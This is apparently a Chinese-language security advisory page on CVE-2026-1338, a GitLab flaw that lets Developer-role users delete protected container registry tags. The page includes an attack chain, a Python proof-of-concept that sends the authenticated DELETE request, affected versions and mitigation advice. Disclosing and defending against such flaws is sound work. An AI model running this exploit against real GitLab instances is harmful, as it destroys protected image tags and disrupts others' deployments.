IPBUF安全漏洞报告
English
CVE-2026-1338 CVSS 4.3 中危

CVE-2026-1338 GitLab 权限绕过致删除受保护标签漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-1338
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

权限绕过GitLab容器注册表访问控制失效CVE-2026-1338

漏洞概述

GitLab 企业版/社区版存在权限绕过漏洞,影响范围涵盖 17.10 至 18.11.3 之前的多个版本。该漏洞源于授权检查机制的不完善,使得仅有开发者权限的认证用户能够非法删除受保护的容器注册表标签,破坏了系统预设的访问控制策略和数据完整性。

技术细节

该漏洞的根源在于 GitLab 服务器端对容器注册表标签删除操作的授权验证机制存在逻辑缺陷。在受影响的版本中,当接收到删除标签的请求时,系统未能严格校验请求发起者是否具备针对“受保护标签”的操作权限。正常情况下,受保护标签只能由特定的高权限角色(如 Maintainer 或 Owner)删除,开发者角色不应具备此权限。然而,由于不当的授权检查,低权限的认证用户可以通过向 API 端点发送恶意构造的请求绕过这一限制。攻击过程无需受害者交互,且攻击复杂度低。一旦利用成功,攻击者可删除关键的容器镜像标签,破坏版本控制的完整性,进而可能导致依赖这些镜像的 CI/CD 流程中断或部署错误的版本。

攻击链分析

STEP 1
信息收集
确定目标 GitLab 实例及其容器注册表中受保护的标签 ID。
STEP 2
获取凭证
获取目标项目具有 Developer 角色的有效账户或 Personal Access Token。
STEP 3
发起攻击
使用 Developer Token 向容器注册表 API 发送 DELETE 请求,尝试删除受保护标签。
STEP 4
达成目的
由于授权校验失效,服务器执行删除操作,导致受保护标签丢失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration # Target GitLab instance URL BASE_URL = "https://gitlab.target.com" # Project ID PROJECT_ID = "123" # Repository ID within the Container Registry REPOSITORY_ID = "456" # The name of the protected tag to delete TAG_NAME = "v1.0.0" # Personal Access Token of a user with Developer role TOKEN = "glpat-xxxxxxxxxxxxxxxxxxxx" # Construct the API endpoint for deleting a tag # Reference: GitLab Container Registry API url = f"{BASE_URL}/api/v4/projects/{PROJECT_ID}/registry/repositories/{REPOSITORY_ID}/tags/{TAG_NAME}" headers = { "PRIVATE-TOKEN": TOKEN } print(f"Attempting to delete protected tag: {TAG_NAME}...") # Send the DELETE request response = requests.delete(url, headers=headers) if response.status_code == 204: print("[+] Success: Protected tag deleted.") elif response.status_code == 403: print("[-] Failed: Permission denied (Exploit failed or patch applied).") elif response.status_code == 404: print("[-] Failed: Resource not found.") else: print(f"[-] Unexpected status code: {response.status_code}") print(response.text)

影响范围

GitLab CE/EE >= 17.10, < 18.9.7
GitLab CE/EE >= 18.10, < 18.10.6
GitLab CE/EE >= 18.11, < 18.11.3

防御指南

临时缓解措施
建议立即将 GitLab 实例升级到官方发布的修复版本。如果暂时无法升级,应严格审查项目成员权限,移除不必要的 Developer 账户,并监控容器注册表的异常删除操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表